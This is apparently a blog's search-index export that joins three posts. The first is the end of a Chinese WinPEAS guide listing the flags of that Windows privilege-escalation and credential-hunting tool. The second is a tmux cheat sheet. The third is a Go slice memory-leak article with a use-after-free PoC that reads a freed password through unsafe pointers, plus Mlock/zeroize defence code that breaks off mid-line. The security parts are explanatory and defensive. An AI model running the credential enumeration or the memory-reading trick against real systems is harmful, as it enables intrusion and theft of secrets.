但如果您只想运行其中的一些检查，您也可以将要运行的检查的名称指定为参数。 domain 枚举域信息 systeminfo 搜索系统信息 eventsinfo 显示对渗透测试者来说有趣的内容 userinfo 搜索用户信息 processinfo 搜索进程信息 servicesinfo 搜索服务信息 applicationsinfo 搜索已安装应用程序信息 networkinfo 搜索网络信息 networkscan 仅运行 -network 扫描（不执行其他 NetworkInfo 子检查） activedirectoryinfo 快速 AD 检查（可读取的 gMSA 密码、AD CS 模板权限） cloudinfo 枚举云信息 windowscreds 搜索 Windows 凭据 registryinfo 标记可写入的 HKLM/HKU 键，这些键可能导致注册表配置单元被篡改 browserinfo 搜索浏览器信息 filesinfo 搜索可能包含凭据的通用文件 fileanalysis [默认不运行] 搜索可能包含凭据的特定文件，并在文件中进行正则表达式匹配。可能需要几分钟时间。 all 运行所有检查，包括之前的文件分析检查。 quiet 不显示横幅 notcolor 不使用 ANSI 颜色（全部显示为白色） mitre=T1082,T1548 仅运行与指定 MITRE ATT\u0026amp;CK 匹配的检查 技术 ID（以逗号分隔） searchpf 通过正则表达式在 Program Files 目录中搜索凭据 wait 在检查之间等待用户输入 debug 显示调试信息 - 内存使用情况、方法执行时间 dont-check-hostname 不对外部检查主机名 log[=logfile] 将所有输出记录到指定的日志文件，若未指定则记录到 \u0026#34;out.txt\u0026#34; max-regex-file-size=1000000 搜索正则表达式的最大文件大小（以字节为单位）。默认值：1000000B 附加检查（较慢）： -lolbas 运行额外的 LOLBAS 检查 -linpeas=[url] 运行额外的 linpeas.sh 检查以获取默认 WSL 发行版，可选择提供自定义 linpeas.sh URL （默认：https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh） -network|-ports 运行额外的网络扫描 - 查找网络接口和主机，并对发现的每个主机扫描 nmap 前 1000 个 TCP 端口 -network=\u0026#34;auto\u0026#34; - 自动查找接口/主机 -network=\u0026#34;10.10.10.10,10.10.10.20\u0026#34; - 仅扫描选定的 IP 地址 -network=\u0026#34;10.10.10.10/24\u0026#34; - 基于 IP 地址/子网掩码扫描主机 -ports=\u0026#34;80,443,8080\u0026#34; - If a list of ports is provided, use this list instead of the nmap top 1000 TCP ","date":"2026-03-21","objectID":"/posts/2026/winpeas-guide/:4:0","tags":[],"title":"WinPEAS 使用指南","uri":"/posts/2026/winpeas-guide/#help-参数"},{"categories":["security"],"collections":null,"content":"[REFS] 参考资料 PEASS-ng 项目 HackTricks - Windows 本地提权 kalitools peass-ng 封面 ","date":"2026-03-21","objectID":"/posts/2026/winpeas-guide/:5:0","tags":[],"title":"WinPEAS 使用指南","uri":"/posts/2026/winpeas-guide/#refs-参考资料"},{"categories":["ops"],"collections":null,"content":"把所有操作终端塞进一个远程ssh！","date":"2026-03-19","objectID":"/posts/2026/linux-tmux/","tags":[],"title":"Linux-tmux","uri":"/posts/2026/linux-tmux/"},{"categories":["ops"],"collections":null,"content":"把所有操作终端塞进一个远程ssh！ ","date":"2026-03-19","objectID":"/posts/2026/linux-tmux/:0:0","tags":[],"title":"Linux-tmux","uri":"/posts/2026/linux-tmux/#"},{"categories":["ops"],"collections":null,"content":"Linux-tmux ","date":"2026-03-19","objectID":"/posts/2026/linux-tmux/:0:0","tags":[],"title":"Linux-tmux","uri":"/posts/2026/linux-tmux/#linux-tmux"},{"categories":["ops"],"collections":null,"content":"TL;DR：高频命令速查 在执行任何快捷键之前，必须先按下 前缀键（默认是 \u0026lt;C-b\u0026gt; Ctrl+b键） 在使用过程中如果不知道现在要怎么操做，直接敲\u0026lt;C-b\u0026gt; ?查看快捷键 ","date":"2026-03-19","objectID":"/posts/2026/linux-tmux/:1:0","tags":[],"title":"Linux-tmux","uri":"/posts/2026/linux-tmux/#tldr高频命令速查"},{"categories":["ops"],"collections":null,"content":"会话层 - 项目级隔离 创建会话 tmux new -s \u0026lt;name\u0026gt; 进入会话（不指定t默认使用序号创建） tmux a -t \u0026lt;name\u0026gt; 列出会话 tmux ls 删除会话 (不指定 -t 则删除当前会话) tmux kill-session -t \u0026lt;name\u0026gt; 会话层快捷键： 操作 快捷键 脱离会话 (挂起至后台) \u0026lt;C-b\u0026gt; d ","date":"2026-03-19","objectID":"/posts/2026/linux-tmux/:1:1","tags":[],"title":"Linux-tmux","uri":"/posts/2026/linux-tmux/#会话层---项目级隔离"},{"categories":["ops"],"collections":null,"content":"窗口层 - 任务标签页 CLI 创建窗口 tmux new-window -n \u0026lt;name\u0026gt; 窗口层快捷键： 操作 快捷键 新建窗口 \u0026lt;C-b\u0026gt; c 下 / 上一个窗口 \u0026lt;C-b\u0026gt; n / p 跳转窗口 \u0026lt;C-b\u0026gt; 0-9 重命名窗口 \u0026lt;C-b\u0026gt; , 关闭窗口 \u0026lt;C-b\u0026gt; \u0026amp; ","date":"2026-03-19","objectID":"/posts/2026/linux-tmux/:1:2","tags":[],"title":"Linux-tmux","uri":"/posts/2026/linux-tmux/#窗口层---任务标签页"},{"categories":["ops"],"collections":null,"content":"窗格层 - 一 屏 多 用 窗格层快捷键： 操作 快捷键 垂直分割 (左右分屏) \u0026lt;C-b\u0026gt; % 水平分割 (上下分屏) \u0026lt;C-b\u0026gt; \u0026quot; 切换窗格 \u0026lt;C-b\u0026gt; 方向键 全屏切换 (放大 / 缩小当前窗格) \u0026lt;C-b\u0026gt; z 调整大小 \u0026lt;C-b\u0026gt; \u0026lt;C-方向键\u0026gt; 关闭窗格 \u0026lt;C-b\u0026gt; x ","date":"2026-03-19","objectID":"/posts/2026/linux-tmux/:1:3","tags":[],"title":"Linux-tmux","uri":"/posts/2026/linux-tmux/#窗格层---一-屏-多-用"},{"categories":["ops"],"collections":null,"content":"守护进程 (Server) 启动守护进程 tmux start-server 停止所有会话 tmux kill-server 指定 socket tmux -L \u0026lt;socket\u0026gt; 指定 socket 路径 tmux -S /path/to/socket 强制终止进程 pkill -f tmux ","date":"2026-03-19","objectID":"/posts/2026/linux-tmux/:1:4","tags":[],"title":"Linux-tmux","uri":"/posts/2026/linux-tmux/#守护进程-server"},{"categories":["ops"],"collections":null,"content":"Welcome to tmux! tmux 是终端多路复用器。它可以让您轻松地在一个终端中的多个程序之间切换、分离它们（它们在后台继续运行）并将它们重新连接到不同的终端。 幕后：tmux 守护进程 不要把 tmux 当成普通的命令，它的本质是一个常驻后台的服务 悄悄打工： 当你敲下第一句 tmux 时，它就会在后台默默启动，接管你的终端。 断线保命： 突然断网了？别慌。它的后台仍在运行，随时等你回来“认领”工作现场。（前提是服务器没重启、tmux 进程没被杀掉）。 功成身退： 当你手动关闭了它里面所有的会话和窗口后，它就会自动销毁，绝不偷偷占用内存。 评价一下\r纯牛马 自己来，自己走，中间还无条件给你后台保底\r","date":"2026-03-19","objectID":"/posts/2026/linux-tmux/:2:0","tags":[],"title":"Linux-tmux","uri":"/posts/2026/linux-tmux/#welcome-to-tmux"},{"categories":["ops"],"collections":null,"content":"会话、窗口和窗格 窗格：tmux里，每个窗格都是一个终端 窗口：当前的显示界面，可以由多个窗格组成，同时可以给窗口一个名字 会话：由多个窗口组成，一般一个会话用于一个项目 ","date":"2026-03-19","objectID":"/posts/2026/linux-tmux/:2:1","tags":[],"title":"Linux-tmux","uri":"/posts/2026/linux-tmux/#会话窗口和窗格"},{"categories":["ops"],"collections":null,"content":"滚动与复制 由于默认配置下的tmux接管了终端，无法使用\u0026lt;S-PgUp\u0026gt;进行屏幕滚动，那么我们需要进入tmux自己的滚动与复制逻辑邻域了……（虽然我感觉这有点难用） tmux正常的复制流程如下： 阶段 步骤说明 快捷键 1. 进入 冻结屏幕，开启翻页模式 \u0026lt;C-b\u0026gt; [ 2. 浏览 上下翻找历史日志/报错信息 方向键 或 PgUp/Dn 3. 选中 在目标起点开启选择 \u0026lt;C-Space\u0026gt; 4. 复制 覆盖目标文本后确认并退出 \u0026lt;Enter\u0026gt; 5. 粘贴 在命令行甩出内容 \u0026lt;C-b\u0026gt; ] 取消 随时放弃操作并返回实时终端 q 同时这里有一个大坑，C-Space 会出现快捷键冲突，导致无法进入复制模式！！！！ 我这里准备了几个方法： 添加配置，添加set -g mouse on到~/.tmux.conf里，让鼠标可以在tmux使用，但是可能会遇到一些异常情况 添加配置，添加set -w -g mode-keys vi到~/.tmux.conf,使用vi的键盘操作方式进行复制。只需要学会hjklvyq就学会vi了(bushi 还有其他比较复杂的方式就不例举出来了 ","date":"2026-03-19","objectID":"/posts/2026/linux-tmux/:3:0","tags":[],"title":"Linux-tmux","uri":"/posts/2026/linux-tmux/#滚动与复制"},{"categories":["ops"],"collections":null,"content":"会话之外 - 一些杂项操作 ","date":"2026-03-19","objectID":"/posts/2026/linux-tmux/:4:0","tags":[],"title":"Linux-tmux","uri":"/posts/2026/linux-tmux/#会话之外---一些杂项操作"},{"categories":["ops"],"collections":null,"content":"~/.tmux.conf 配置 可以将以下配置加入到~/.tmux.conf 配置最下面，优化使用体验 # --- 交互基础：开启鼠标支持（支持滚轮翻页、点击换窗口、拖拽改分屏） --- set -g mouse on # --- 复制模式：使用 vi 按键绑定（进入 \u0026lt;C-b\u0026gt; [ 后可用 h/j/k/l 移动） --- set -w -g mode-keys vi # --- 命令行模式：在 tmux 的命令提示符下（\u0026lt;C-b\u0026gt; :）使用 vi 按键 --- set -g status-keys vi # --- 编号习惯：窗口编号从 1 开始（键盘上 1 在左边，0 太远了） --- set -g base-index 1 # --- 编号习惯：窗格编号也从 1 开始 --- set -g pane-base-index 1 # --- 进阶补充 1：环境对齐（让终端颜色和 Vim 保持一致，告别灰蒙蒙） --- set -g default-terminal \u0026#34;screen-256color\u0026#34; # --- 进阶补充 2：自动重编号（关闭中间的窗口后，后面的窗口自动顶上来） --- set -g renumber-windows on # --- 进阶补充 3：焦点监控（让 Vim 知道你切走了，触发自动保存/插件刷新） --- set -g focus-events on 复杂内容以后再来探索吧（ ","date":"2026-03-19","objectID":"/posts/2026/linux-tmux/:4:1","tags":[],"title":"Linux-tmux","uri":"/posts/2026/linux-tmux/#tmuxconf-配置"},{"categories":["ops"],"collections":null,"content":"参考 tmux官方文档 封面 ","date":"2026-03-19","objectID":"/posts/2026/linux-tmux/:5:0","tags":[],"title":"Linux-tmux","uri":"/posts/2026/linux-tmux/#参考"},{"categories":["ops"],"collections":null,"content":"Slice内存是如何泄漏的？","date":"2026-03-11","objectID":"/posts/2026/go-slice-memory-leak/","tags":[],"title":"Go-面试错题-Slice内存泄漏","uri":"/posts/2026/go-slice-memory-leak/"},{"categories":["ops"],"collections":null,"content":"Slice内存是如何泄漏的？ ","date":"2026-03-11","objectID":"/posts/2026/go-slice-memory-leak/:0:0","tags":[],"title":"Go-面试错题-Slice内存泄漏","uri":"/posts/2026/go-slice-memory-leak/#"},{"categories":["ops"],"collections":null,"content":"Go-面试错题-Slice内存泄漏 📝 声明与参考 (References \u0026amp; Declarations) 🤖 AI 辅助生成: 本文核心底层逻辑拆解、ASCII 内存拓扑图及 PoC 攻防代码由 AI (Gemini-3.1-Pro) 生成与排版，技术细节已人工校验。 ","date":"2026-03-11","objectID":"/posts/2026/go-slice-memory-leak/:0:0","tags":[],"title":"Go-面试错题-Slice内存泄漏","uri":"/posts/2026/go-slice-memory-leak/#go-面试错题-slice内存泄漏"},{"categories":["ops"],"collections":null,"content":"0x00 提问现场 (The Scenario) 面试原题： “在处理大规模监控数据时，从 1GB 大小的 slice 中切出最后 10 个元素 (newSlice := oldSlice[len-10:])，然后把 oldSlice 置为 nil。这 1GB 内存会被 GC 回收吗？为什么？如何优化？” ❌ 常见踩坑回答 (The Trap)： “会被回收。因为 oldSlice 已经被置为 nil，失去了对底层数组的引用，GC 扫描时会把这 1GB 内存清空并释放。” ✅ 满分硬核回答 (TL;DR)： 绝对不会回收：newSlice 的 pointer 依然持有对这 1GB 连续物理内存尾部的引用。只要该活跃指针存活，整块 1GB 内存的生命周期就会被强制延长，GC 无法将其标记为可回收状态。 根本原因：oldSlice = nil 仅销毁了 24 字节的 Slice Header 结构体，切片操作本身不触发内存拷贝，因此 1GB 的底层数组（Underlying Array）依然完整驻留在内存中。 正确优化：必须分配独立的内存空间并执行数据深拷贝（推荐 slices.Clone()），彻底阻断新切片与原 1GB 数组的指针依赖，使原数组成为不可达对象（Unreachable）从而被 GC 顺利回收。 ","date":"2026-03-11","objectID":"/posts/2026/go-slice-memory-leak/:1:0","tags":[],"title":"Go-面试错题-Slice内存泄漏","uri":"/posts/2026/go-slice-memory-leak/#0x00-提问现场-the-scenario"},{"categories":["ops"],"collections":null,"content":"0x01 核心结论与底层根因 (Root Cause) 结论：这 1GB 内存绝对不会被 GC 回收。 ","date":"2026-03-11","objectID":"/posts/2026/go-slice-memory-leak/:2:0","tags":[],"title":"Go-面试错题-Slice内存泄漏","uri":"/posts/2026/go-slice-memory-leak/#0x01-核心结论与底层根因-root-cause"},{"categories":["ops"],"collections":null,"content":"1. Slice 的真实物理结构 (The Anatomy) Go 的 slice 本质上不是数组，而是一个占 24 字节（64位系统）的 Slice Header (切片头) 结构体。 [ Slice Header (24 Bytes) ] +-----------------------+ | pointer (8 bytes) | ---\u0026gt; (指向底层数组首地址) +-----------------------+ | length (8 bytes) | ---\u0026gt; (当前切片可访问的元素个数) +-----------------------+ | capacity (8 bytes) | ---\u0026gt; (从 pointer 开始到底部的总容量) +-----------------------+ | | (pointer 指向真实物理连续内存) v [ Underlying Array (底层真实物理连续内存) ] +-----+-----+-----+-------+---------+ | [0] | [1] | [2] | ..... | [len-1] | +-----+-----+-----+-------+---------+ ","date":"2026-03-11","objectID":"/posts/2026/go-slice-memory-leak/:2:1","tags":[],"title":"Go-面试错题-Slice内存泄漏","uri":"/posts/2026/go-slice-memory-leak/#1-slice-的真实物理结构-the-anatomy"},{"categories":["ops"],"collections":null,"content":"2. 根因拆解：为何 GC 拒绝回收？(Why GC Fails) 为了避免行宽过长导致换行错乱，采用垂直拓扑图展示这三个核心机制的物理内存联动过程： [ 1. 假象: oldSlice = nil ] oldSlice Header (24 bytes) +-----------+ | pointer | --X--\u0026gt; (销毁指针) +-----------+ | | v +-----------------------+ \u0026lt;--- [ 1GB 连续物理内存 ] | [0] | | [1] | | ... (大量前置数据) | | | | [len-10] \u0026lt;------------|-----+ [ 2. 指针偏移绑架 ] | ... | | newSlice 绝不复制底层数组 | [len-1] | | pointer 直接发生内存地址偏移 +-----------------------+ | 精准锚定在尾部数据块 | newSlice Header (24 bytes) | +-----------+ | | pointer | ------------------------+ | len: 10 | | cap: 10 | +-----------+ [ 3. GC 扫描机制 (Mark-and-Sweep) ] [ GC Scanner ] ---\u0026gt; 扫描该 1GB 内存所在的 mspan (内存管理单元) | +---\u0026gt; 发现尾部存在活跃指针 (newSlice.pointer) | +---\u0026gt; 判定结果：整块内存存活 (Live)！绝对不予释放！ 核心机制说明： 假象 (oldSlice = nil)：这仅仅是销毁了 oldSlice 这个 24 字节的 Slice Header 变量，底层 1GB 的连续物理内存原封不动。 指针偏移绑架 (newSlice := ...)：Go 的切片操作绝不会复制底层数组。newSlice 只是生成了一个新的 Slice Header，它的 pointer 发生了一次数学偏移，直接指向了原 1GB 数组倒数第 10 个元素的物理内存地址。 GC 扫描机制 (Mark-and-Sweep)：Go 的垃圾回收器以内存管理单元 (mspan) 为粒度工作。当 GC 扫描时，发现这块 1GB 的连续内存中，依然有一个活跃指针（newSlice.pointer）死死连着它的尾部。只要整块连续内存中存在任何一处活跃引用，整块 1GB 内存就会被判定为存活 (Live)，绝对不予释放。 ","date":"2026-03-11","objectID":"/posts/2026/go-slice-memory-leak/:2:2","tags":[],"title":"Go-面试错题-Slice内存泄漏","uri":"/posts/2026/go-slice-memory-leak/#2-根因拆解为何-gc-拒绝回收why-gc-fails"},{"categories":["ops"],"collections":null,"content":"0x02 修复方案与正确代码 (Optimization) 核心对策：必须执行深拷贝 (Deep Copy)。 通过分配一块全新的小内存，将需要的数据复制过去，彻底斩断与原 1GB 底层数组的指针联系，使原数组成为不可达对象 (Unreachable)，从而被 GC 顺利回收。 ","date":"2026-03-11","objectID":"/posts/2026/go-slice-memory-leak/:3:0","tags":[],"title":"Go-面试错题-Slice内存泄漏","uri":"/posts/2026/go-slice-memory-leak/#0x02-修复方案与正确代码-optimization"},{"categories":["ops"],"collections":null,"content":"1. 修复后内存拓扑图 (Fixed Memory Topology) [ 修复后: newSlice := slices.Clone(oldSlice[len-10:]) ] oldSlice Header (已销毁) +-----------+ | ptr: nil | --X (指针断开) +-----------+ +--------------------------------------------+ [原 1GB 内存] | [0] | [1] | ... | [len-10] | ... | [len-1] | (无活跃引用) +--------------------------------------------+ | +---\u0026gt; [ GC 扫描判定: Unreachable -\u0026gt; 成功回收 1GB 内存！] newSlice Header +-----------+ +---------------------------------+ | ptr: 0xN | ----\u0026gt; | [0] | [1] | ... | [9] (新内存) | | len: 10 | +---------------------------------+ | cap: 10 | +-----------+ ","date":"2026-03-11","objectID":"/posts/2026/go-slice-memory-leak/:3:1","tags":[],"title":"Go-面试错题-Slice内存泄漏","uri":"/posts/2026/go-slice-memory-leak/#1-修复后内存拓扑图-fixed-memory-topology"},{"categories":["ops"],"collections":null,"content":"2. 完整验证与修复代码 (Proof of Concept) 以下代码对比了内存泄漏场景与修复场景，通过 runtime.MemStats 直接观测堆内存分配情况（保存为 main.go 直接运行）： package main import ( \u0026#34;fmt\u0026#34; \u0026#34;runtime\u0026#34; \u0026#34;slices\u0026#34; ) // 模拟生成 1GB 大小的 slice (约 1.34 亿个 int64 元素) func generateLargeSlice() []int64 { return make([]int64, 134217728) } // 打印当前堆内存分配情况 func printMemUsage(tag string) { var m runtime.MemStats runtime.GC() // 强制触发 GC 以获取准确的存活对象数据 runtime.ReadMemStats(\u0026amp;m) fmt.Printf(\u0026#34;[%s] 当前堆内存分配: %v MB\\n\u0026#34;, tag, m.Alloc/1024/1024) } func main() { printMemUsage(\u0026#34;1. 初始状态\u0026#34;) // ========================================== // 场景 A：错误示范 (内存泄漏) // ========================================== oldSlice := generateLargeSlice() printMemUsage(\u0026#34;2. 分配 1GB oldSlice 后\u0026#34;) // 错误切片：底层数组依然被 newSliceLeak 的 pointer 引用 newSliceLeak := oldSlice[len(oldSlice)-10:] oldSlice = nil printMemUsage(\u0026#34;3. 错误切片并置空 oldSlice 后 (内存未回收)\u0026#34;) _ = newSliceLeak // 防止编译报错 // ========================================== // 场景 B：正确示范 (彻底释放) // ========================================== oldSlice2 := generateLargeSlice() printMemUsage(\u0026#34;4. 重新分配 1GB oldSlice2 后\u0026#34;) // 优化方案 1: 使用 slices.Clone (Go 1.21+ 标准库推荐，最优雅) newSliceFixed := slices.Clone(oldSlice2[len(oldSlice2)-10:]) /* // 优化方案 2: 使用 append (兼容老版本 Go) // newSliceFixed := append([]int64(nil), oldSlice2[len(oldSlice2)-10:]...) // 优化方案 3: 使用 make + copy (兼容老版本 Go，性能最高) // newSliceFixed := make([]int64, 10) // copy(newSliceFixed, oldSlice2[len(oldSlice2)-10:]) */ oldSlice2 = nil printMemUsage(\u0026#34;5. 正确深拷贝并置空 oldSlice2 后 (1GB 内存成功回收)\u0026#34;) _ = newSliceFixed } ","date":"2026-03-11","objectID":"/posts/2026/go-slice-memory-leak/:3:2","tags":[],"title":"Go-面试错题-Slice内存泄漏","uri":"/posts/2026/go-slice-memory-leak/#2-完整验证与修复代码-proof-of-concept"},{"categories":["ops"],"collections":null,"content":"0x03 安全延伸：GC 回收后数据清零了吗？(Data Remanence) 结论：绝对没有清零。在被下一次新数据覆盖前，敏感数据以明文形式裸奔在物理内存中。 ","date":"2026-03-11","objectID":"/posts/2026/go-slice-memory-leak/:4:0","tags":[],"title":"Go-面试错题-Slice内存泄漏","uri":"/posts/2026/go-slice-memory-leak/#0x03-安全延伸gc-回收后数据清零了吗data-remanence"},{"categories":["ops"],"collections":null,"content":"1. GC 的“懒惰”机制 (Lazy Zeroing) 打标签，不擦除：Go 的 GC (Mark-and-Sweep) 在回收内存时，仅仅是将这块内存所在的 mspan 标记为 Free（空闲可用）。为了节省宝贵的 CPU 性能，绝不会主动执行清零操作。 何时才清零？：只有当这块内存被下一次重新分配给新变量时（例如执行 make 或 new），Go Runtime 才会调用底层的 memclr 将其写 0。 高危真空期 (Vacuum Period)：在“被 GC 回收”到“被下次分配”的这段时间，旧数据（如密码、API Token、私钥）完好无损地躺在 RAM 中。 ","date":"2026-03-11","objectID":"/posts/2026/go-slice-memory-leak/:4:1","tags":[],"title":"Go-面试错题-Slice内存泄漏","uri":"/posts/2026/go-slice-memory-leak/#1-gc-的懒惰机制-lazy-zeroing"},{"categories":["ops"],"collections":null,"content":"2. 内存生命周期拓扑图 (Memory Lifecycle) 为了适配屏幕宽度，采用垂直时间轴展示数据残留过程： [ 1. 正常使用 (In-Use) ] +------------------------------------+ | 状态: 活跃 | 物理内存: 0xAAAA | | 变量: key | 数据内容: \u0026#34;P@ssw0rd\u0026#34; | +------------------------------------+ | v (变量置 nil, 触发 GC 回收) [ 2. 高危真空期 (Free - 数据残留!) ] +------------------------------------+ | 状态: 空闲 | 物理内存: 0xAAAA | \u0026lt;--- 黑客通过进程 Dump | 变量: 无 | 数据内容: \u0026#34;P@ssw0rd\u0026#34; | \u0026lt;--- 或悬垂指针(UAF)提取明文 +------------------------------------+ | v (系统执行 make/new 再次分配该内存) [ 3. 重新分配 (Reallocated \u0026amp; Zeroed) ] +------------------------------------+ | 状态: 活跃 | 物理内存: 0xAAAA | \u0026lt;--- 此时 Runtime 才执行 memclr | 变量: new | 数据内容: 00000000 | \u0026lt;--- 彻底清零，写入新数据 +------------------------------------+ ","date":"2026-03-11","objectID":"/posts/2026/go-slice-memory-leak/:4:2","tags":[],"title":"Go-面试错题-Slice内存泄漏","uri":"/posts/2026/go-slice-memory-leak/#2-内存生命周期拓扑图-memory-lifecycle"},{"categories":["ops"],"collections":null,"content":"3. 攻防代码演示 (PoC: Use-After-Free) 作为安全工程师，我们可以利用 unsafe 包绕过 Go 的类型安全，保留绝对内存地址，在 GC 后强行读取所谓的“已回收”内存。 以下是完整的验证代码（直接保存为 main.go 运行）： package main import ( \u0026#34;fmt\u0026#34; \u0026#34;runtime\u0026#34; \u0026#34;unsafe\u0026#34; ) func main() { // ========================================== // 攻击视角：证明 GC 不清零 (UAF 漏洞模拟) // ========================================== // 1. 分配敏感数据 (强制分配到堆上) secret := new([8]byte) copy(secret[:], \u0026#34;P@ssw0rd\u0026#34;) // 获取绝对物理内存地址 (uintptr 是纯数字，逃避 GC 追踪) rawAddr := uintptr(unsafe.Pointer(secret)) fmt.Printf(\u0026#34;[+] [攻击] 原始数据: %s, 物理地址: 0x%x\\n\u0026#34;, string(secret[:]), rawAddr) // 2. 销毁合法引用并触发 GC secret = nil runtime.GC() runtime.GC() // 3. 黑客视角：通过裸地址强行读取“已回收”的内存 // 注意: 编辑器在此处报 possible misuse of unsafe.Pointer 是正常现象。 // 因为静态检查工具发现了我们正在进行高危的 UAF 内存劫持。 danglingPtr := (*[8]byte)(unsafe.Pointer(rawAddr)) fmt.Printf(\u0026#34;[!] [攻击] GC 回收后，强行读取该地址数据: %s (明文泄漏！)\\n\\n\u0026#34;, string(danglingPtr[:])) // ========================================== // 防御视角：敏感数据的正确销毁方式 (Zeroize) // ========================================== secureKey := new([8]byte) copy(secureKey[:], \u0026#34;SuperKey\u0026#34;) secureAddr := uintptr(unsafe.Pointer(secureKey)) fmt.Printf(\u0026#34;[+] [防御] 生成新密钥: %s, 物理地址: 0x%x\\n\u0026#34;, string(secureKey[:]), secureAddr) // 1. 安全规范：在丢弃敏感数据前，必须手动覆写物理内存！ wipeMemory(secureKey[:]) // 2. 销毁引用并触发 GC secureKey = nil runtime.GC() runtime.GC() // 3. 验证视角：再次利用 UAF 漏洞强行读取该地址 safeDanglingPtr := (*[8]byte)(unsafe.Pointer(secureAddr)) // 此时打印出来的将是 [0 0 0 0 0 0 0 0]，证明物理电荷已被排空 fmt.Printf(\u0026#34;[+] [防御] 销毁后，强行读取该地址数据: %v (全 0 字节，安全！)\\n\u0026#34;, safeDanglingPtr[:]) } // wipeMemory 手动将切片内存写 0 (物理放电) // 针对密码、私钥、Token 等高价值目标必须执行此操作 func wipeMemory(buf []byte) { for i := range buf { buf[i] = 0 } } ","date":"2026-03-11","objectID":"/posts/2026/go-slice-memory-leak/:4:3","tags":[],"title":"Go-面试错题-Slice内存泄漏","uri":"/posts/2026/go-slice-memory-leak/#3-攻防代码演示-poc-use-after-free"},{"categories":["ops"],"collections":null,"content":"0x04 终极对抗：物理恢复与 OS Swap 逃逸 (Swap Escape) 结论：RAM 层面写 0 后绝对无法物理恢复。但操作系统 (OS) 的虚拟内存机制会出卖你，导致数据永久泄漏到物理硬盘。 ","date":"2026-03-11","objectID":"/posts/2026/go-slice-memory-leak/:5:0","tags":[],"title":"Go-面试错题-Slice内存泄漏","uri":"/posts/2026/go-slice-memory-leak/#0x04-终极对抗物理恢复与-os-swap-逃逸-swap-escape"},{"categories":["ops"],"collections":null,"content":"1. 物理神话破灭 (Physical Reality of DRAM) 电容放电：现代内存 (DRAM) 基于微小电容存储数据。将内存写 0，在物理层面上就是排空该电容的电荷。 无磁性残留 (No Remanence)：与早期的机械硬盘 (HDD) 不同，RAM 写 0 后不存在任何可测量的物理残留。所谓的冷启动攻击 (Cold Boot Attack) 只能在内存尚未被覆写时生效。一旦执行了 Zeroize，即便是 NSA 级别的硬件专家也无法找回。 ","date":"2026-03-11","objectID":"/posts/2026/go-slice-memory-leak/:5:1","tags":[],"title":"Go-面试错题-Slice内存泄漏","uri":"/posts/2026/go-slice-memory-leak/#1-物理神话破灭-physical-reality-of-dram"},{"categories":["ops"],"collections":null,"content":"2. 真正的致命漏洞：虚拟内存 (Virtual Memory) 作为安全工程师，你防住了 GC，防住了 UAF，却可能死在 OS 手里。 换页机制 (Paging)：现代 OS 都有虚拟内存（Linux 的 Swap，Windows 的 Pagefile）。当系统内存紧张时，OS 会将你 Go 程序中尚未清零的敏感数据“换页”写入到物理硬盘上。 Swap 逃逸 (Swap Escape)：即使你最终在 RAM 中把数据清零了，硬盘上的 Swap 分区依然保留着完整的明文副本！ 硬盘数据极易被法证工具 (Forensics Tools) 恢复。 ","date":"2026-03-11","objectID":"/posts/2026/go-slice-memory-leak/:5:2","tags":[],"title":"Go-面试错题-Slice内存泄漏","uri":"/posts/2026/go-slice-memory-leak/#2-真正的致命漏洞虚拟内存-virtual-memory"},{"categories":["ops"],"collections":null,"content":"3. 内存逃逸拓扑图 (Swap Escape Topology) [ 危险场景：未锁定的内存 (Swap Escape) ] Go App (RAM) OS Disk (Swap/Pagefile) +-----------------------+ +-----------------------+ | 1. 生成密钥: \u0026#34;P@ss\u0026#34; | --(OS 触发换页)-\u0026gt; | 存储明文: \u0026#34;P@ss\u0026#34; | | 2. 内存写 0: \u0026#34;0000\u0026#34; | | [!] 硬盘数据永久残留 | | 3. GC 回收 | | (极易被取证工具恢复) | +-----------------------+ +-----------------------+ [ 安全场景：Mlock 物理内存锁定 ] Go App (RAM) OS Disk (Swap/Pagefile) +-----------------------+ +-----------------------+ | 1. Mlock() 锁定内存 | --X-(严禁换页)-X\u0026gt; | (无数据，绝对安全) | | 2. 生成密钥: \u0026#34;P@ss\u0026#34; | | | | 3. 内存写 0: \u0026#34;0000\u0026#34; | | | +-----------------------+ +-----------------------+ 防御思路：在处理顶级机密（私钥、助记词、核心 Token）时，必须向 OS 申请特权，将这块内存死死钉在物理 RAM 中 (Mlock)，严禁任何形式的硬盘换页。 ","date":"2026-03-11","objectID":"/posts/2026/go-slice-memory-leak/:5:3","tags":[],"title":"Go-面试错题-Slice内存泄漏","uri":"/posts/2026/go-slice-memory-leak/#3-内存逃逸拓扑图-swap-escape-topology"},{"categories":["ops"],"collections":null,"content":"0x05 终极防御代码：Mlock + Zeroize (Ultimate Defense) 核心防御链路：独立分配 (Make) -\u0026gt; 物理锁定 (Mlock) -\u0026gt; 注入机密 -\u0026gt; 物理放电 (Zeroize) -\u0026gt; 解锁释放 (Munlock + GC)。 处理高价值目标（如 RSA 私钥、加密钱包助记词、核心 API Token）时，必须将防线推进到 OS 级别。 ","date":"2026-03-11","objectID":"/posts/2026/go-slice-memory-leak/:6:0","tags":[],"title":"Go-面试错题-Slice内存泄漏","uri":"/posts/2026/go-slice-memory-leak/#0x05-终极防御代码mlock--zeroize-ultimate-defense"},{"categories":["ops"],"collections":null,"content":"完整跨平台防御代码 (Secure Memory Allocation) 以下代码展示了如何向 OS 申请特权，将敏感数据死死钉在物理 RAM 中，并在生命周期结束时彻底物理湮灭（以 Linux/macOS 为例，保存为 secure_mem.go 运行）： package main import ( \u0026#34;fmt\u0026#34; \u0026#34;syscall\u0026#34; ) // wipeMemory 强制将切片内所有字节覆写为 0 (物理放电) // 核心防御：在解除锁定和 GC 回收前，必须主动抹除 RAM 电荷 func wipeMemory(buf []byte) { for i := range buf { buf[i] = 0 } } func main() { fmt.Println(\u0026#34;[*] 初始化高安全级别内存分配 (SecMem)...\u0026#34;) // 1. 独立分配内存 (Make) // 必须使用 make，确保分配的是独立的 Underlying Array，绝不与其他业务共享底层内存 secretKey := make([]byte, 32) // 2. 锁定物理内存 (Mlock) // 核心防御：向 OS 声明，严禁将此内存块 Swap/Pagefile 到物理硬盘！ // 注意：Linux 下普通用户执行会报 \u0026#34;cannot allocate memory\u0026#34;，需要 root 权限或配置 limits.conf (memlock) err := syscall.Mlock(secretKey) if err != nil { fmt.Printf(\u0026#34;[!] Mlock 失败: %v\\n\u0026#34;, err) fmt.Println(\u0026#34;[!] 警告：存在 Swap 逃逸风险，硬盘可能残留明文！\u0026#34;) } else { fmt.Println(\u0026#34;[+] Mlock 成功：已免疫硬盘 Swap 逃逸。\u0026#34;) } // 3. 注入高价值数据 (In-Use) copy(secretKey, 